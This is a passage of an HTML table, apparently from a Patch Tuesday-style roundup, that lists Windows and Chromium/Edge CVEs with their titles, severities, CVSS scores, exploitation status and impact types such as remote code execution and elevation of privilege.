  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
